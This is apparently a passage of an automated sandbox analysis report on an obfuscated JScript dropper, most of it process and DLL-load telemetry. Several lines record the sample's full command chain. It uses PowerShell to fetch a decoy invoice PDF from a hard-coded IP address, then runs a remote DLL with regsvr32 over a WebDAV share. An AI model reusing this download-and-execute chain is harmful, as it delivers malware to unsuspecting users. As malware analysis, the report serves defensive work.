Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8007.js.csv");ITextStream.WriteLine(" entry:8435 f:bdfmtb");ITextStream.WriteLine(" exec:2 f:bdfmtb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5533			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4296			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep count: 5533 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep count: 4296 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5296	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7760	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1343326026.00000201C4801000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: net.exe, 0000000D.00000002.1343326026.00000201C4798000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343326026.00000201C4801000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2530428147.0000029073E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2532301851.0000029079454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
